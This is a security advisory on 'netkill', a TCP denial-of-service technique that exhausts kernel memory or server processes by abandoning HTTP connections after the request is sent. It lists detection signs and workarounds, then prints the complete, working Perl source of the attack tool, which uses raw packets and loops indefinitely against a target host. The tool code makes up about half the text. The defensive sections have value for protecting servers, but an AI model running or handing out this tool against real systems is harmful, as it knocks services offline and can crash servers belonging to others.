By exploiting features inherent to the TCP protocol, remote attackers can perform Denial of Service attacks on a wide range of target operating systems. The attack is most efficient against HTTP servers.
What Netkill isn't:
- Netkill is not a connect() flood. The latter establishes connections and holds them open, forcing the server to maintain them using a large number of file descriptors.
- Netkill is not a SYN flood. The latter doesn't establish any TCP connections, but instead attempts to overwhelm the server with connections in SYN_RCVD state.
- Netkill is not a network bandwidth flood. The latter attempts to eat all available bandwidth with uninteresting packets.
- Netkill is not 3wahas. The latter behaves in much the same way as a connect() flood, and is simply a bit faster for daemons that do not print banners (HTTP). 3wahas works like netkill in "process saturation" mode against HTTP when used against services that do print banners (SMTP, FTP, etc.). It never works like netkill in "mbuf exhaustion" mode.
What Netkill is:
Netkill has two variations:
The first variation:
* A connection is established to the target and an HTTP request is sent;
* A process on the target accepts the connection;
* It reads the request;
* It writes some data (up to 16 or 48KB depending on OS) in response;
* It closes the file descriptor;
* The process that handled the connection now exits or moves on.
The net result is that tens of kilobytes of data are held in kernel space, in non-pageable RAM until the connection (which is in FIN_WAIT_1 state) times out, which takes tens of minutes. This connection is not associated with any file descriptor or any process.
The RAM used to hold the data is wasted. When we reach a kernel-imposed limit on RAM utilization for network purposes, or when we fill all RAM if no such limit exists in the kernel, the machine panics or locks down (This was tested against large boxes running Linux and FreeBSD).
The second variation:
Netkill lets the processes hang around, thus making this more of a familiar user-space problem and a configuration issue. Which of the scenarios will unfold depends on the size of the requested file (mbufs saturation if it's less than an OS-specific limit).
Background:
When the machine performs TCP communication, each TCP connection allocates some resources. By repeatedly establishing a TCP connection and then abandoning it, a malicious host can tie up significant resources on a server.
A Unix server may dedicate a number of mbufs (kernel data structures used to hold network-traffic-related data) or even a process to each of those connections. It'll take time before the connection times out and resources are returned to the system.
If there are many outstanding abandoned connections of such sort, the system may crash, become unusable, or simply stop serving a particular port.
Affected systems:
Any system that runs a TCP service that sends out data can be attacked this way. The efficiency of such attack varies greatly depending on a very large number of factors.
Web servers are particularly vulnerable to this attack because of the nature of the protocol (short request generates an arbitrarily long response).
Impact:
Remote users can make certain TCP services (such as HTTP) unavailable.
For many operating systems, the servers can be crashed.
Tell-Tale signs:
It is prudent to implement some of the suggestions from the "workarounds" session even if you are not under attack and do not expect an attack. However, if service is interrupted the following signs will help identify that a tool similar to netkill is used against you:
* Your HTTP servers have hundreds or thousands of connections to port 80 in FIN_WAIT_1 state.
* The ratio (number of outgoing packets/number of incoming packets) is unusually high.
* There's a large number of connections to port 80 in ESTABLISHED state, and most of them have the same length of send queue (or, there are large groups of connections sharing the same non-zero value of the length of send queue).
Workarounds:
There can be several strategies. None gives you complete protection, but they can be combined.
* Identify offending sources as they appear and block them at your firewall.
* Don't let strangers send TCP packets to your servers. Use a hardware reverse proxy. Make sure the proxy can be rebooted very fast.
* Have a lot of memory in your machines. Increase the number of mbuf clusters to a very large number.
* If you're using a Cisco Local Director, enable the "sticky" option. That's not going to help much against a distributed attack, but would limit the damage done from a single IP.
* If you have a router or firewall that can throttle per-IP incoming rates of certain packets, then something like "one SYN per X seconds per IP" might limit the damage. You could set X to 1 by default and raise it to 5 in case of an actual attack. Image loading by browsers that don't do HTTP Keep-alives will be very slow.
* You could fake the RSTs. Set up a BSD machine that can sniff all the HTTP traffic. Kill (send RST with the correct sequence number) any HTTP connection such that the client has not sent anything in last X seconds. You could set X to 60 by default and lower it to 5 in case of an actual attack.
A combination of these might save your service. The first method, while being most labor and time-consuming is probably the most efficient. It has the added benefit that the attackers will be forced to reveal more and more machines that they control. You can later go to their administrators and let them know. The last two methods might do you more harm than good, especially if you misconfigured something. But the last method is also the most efficient.
Netkill source code:
-------------------- cut here --------------------
#!/usr/bin/perl -w
# netkill - generic remote DoS attack
use strict;
use Net::RawIP ':pcap'; # Available from CPAN.
use Socket;
use Getopt::Std;
# Process command line arguments.
my %options;
getopts('zvp:t:r:u:w:i:d:', \%options) or usage();
my $zero_window = $options{z}; # Close window in second packet?
my $verbose = $options{v}; # Print progress indicators?
my $d_port = $options{p} || 80; # Destination port.
my $timeout = $options{t} || 1; # Timeout for pcap.
my $fake_rtt = $options{r} || 0.05; # Max sleep between SYN and data.
my $url = $options{u} || '/'; # URL to request.
my $window = $options{w} || 16384; # Window size.
my $interval = $options{i} || 0.5; # Sleep time between `connections.'
my $numpackets = $options{d} || -1; # Number of tries (-1 == infty).
my $d_name = shift or usage(); # Target host name.
shift and usage(); # Complain if other args present.
# This is what we send to the remote host.
# XXX: Must fit into one packet.
my $data = "GET $url HTTP/1.0\015\012\015\012"; # Two network EOLs in the end.
my ($d_canon, $d_ip) = (gethostbyname($d_name))[0,4] # Resolve $d_name once.
or die "$d_name: Unknown host\n";
my $d_ip_str = inet_ntoa($d_ip); # Filter wants string representation.
my $dev = rdev($d_name) or die "$d_name: Cannot find outgoing interface\n";
my $s_ip_str = ${ifaddrlist()}{$dev} or die "$dev: Cannot find IP\n";
$| = 1 if $verbose;
print <<EOF if $verbose;
Sending to destination $d_canon [$d_ip_str].
Each dot indicates 10 semi-connections (actually, SYN+ACK packets).
EOF
my $hitcount; # Used for progress indicator if $verbose is set.
while ($numpackets--) {
# Unfortunately, there's pcapinit, but there's no way to give
# resources back to the kernel (close the bpf device or whatever).
# So, we fork a child for each pcapinit allocation and let him exit.
my $pid = fork();
sleep 1, next if $pid == -1; # fork() failed; sleep and retry.
for (1..10) {rand} # Need to advance it manually, only children use rand.
if ($pid) {
# Parent. Block until the child exits.
waitpid($pid, 0);
print '.' if $verbose && !$? && !(++$hitcount%10);
select(undef, undef, undef, rand $interval);
}
else {
# Child.
my $s_port = 1025 + int rand 30000; # Randon source port.
my $my_seq = int rand 2147483648; # Random sequence number.
my $packet = new Net::RawIP({tcp => {}});
my $filter = # pcap filter to get SYN+ACK.
"src $d_ip_str and tcp src port $d_port and tcp dst port $s_port";
local $^W; # Unfortunately, Net::RawIP is not -w - OK.
my $pcap;
# If we don't have enough resources locally, pcapinit will die/croak.
# We want to catch the error, hence eval.
eval q{$pcap = $packet->pcapinit($dev, $filter, 1500, $timeout)};
$verbose? die "$@child died": exit 1 if $@;
my $offset = linkoffset($pcap); # Link header length (14 or whatever).
$^W = 1;
# Send the first packet: SYN.
$packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0,
tos=>0, id=>int rand 50000},
tcp=> {source=>$s_port, dest=>$d_port, syn=>1,
window=>$window, seq=>$my_seq}});
$packet->send;
my $temp;
# Put their SYN+ACK (binary packed string) into $ipacket.
my $ipacket = &next($pcap, $temp);
exit 1 unless $ipacket; # Timed out waiting for SYN+ACK.
my $tcp = new Net::RawIP({tcp => {}});
# Load $ipacket without link header into a readable data structure.
$tcp->bset(substr($ipacket, $offset));
$^W = 0;
# All we want from their SYN+ACK is their sequence number.
my ($his_seq) = $tcp->get({tcp=>['seq']});
# It might increase the interval between retransmits with some
# TCP implementations if we wait a little bit here.
select(undef, undef, undef, rand $fake_rtt);
# Send ACK for SYN+ACK and our data all in one packet.
# The spec allows it, and it works.
# Who told you about "three-way handshake"?
$packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0,
tos=>0, id=>int rand 50000},
tcp=> {source=>$s_port, dest=>$d_port, psh=>1, syn=>0,
ack=>1, window=>$zero_window? 0: $window,
ack_seq=>++$his_seq,
seq=>++$my_seq, data=>$data}});
$packet->send;
# At this point, if our second packet is not lost, the connection is
# established. They can try to send us as much data as they want now:
# We're not listening anymore.
# If our second packet is lost, they'll have a SYN_RCVD connection.
# Hopefully, they can handle even a SYN flood.
exit 0;
}
}
exit(0);
sub usage
{
die <<EOF;
Usage: $0 [-vzw#r#d#i#t#p#] <host>
-v: Be verbose. Recommended for interactive use.
-z: Close TCP window at the end of the conversation.
-p: Port HTTP daemon is running on (default: 80).
-t: Timeout for SYN+ACK to come (default: 1s, must be integer).
-r: Max fake rtt, sleep between S+A and data packets (default: 0.05s).
-u: URL to request (default: `/').
-w: Window size (default: 16384). Can change the type of attack.
-i: Max sleep between `connections' (default: 0.5s).
-d: How many times to try to hit (default: infinity).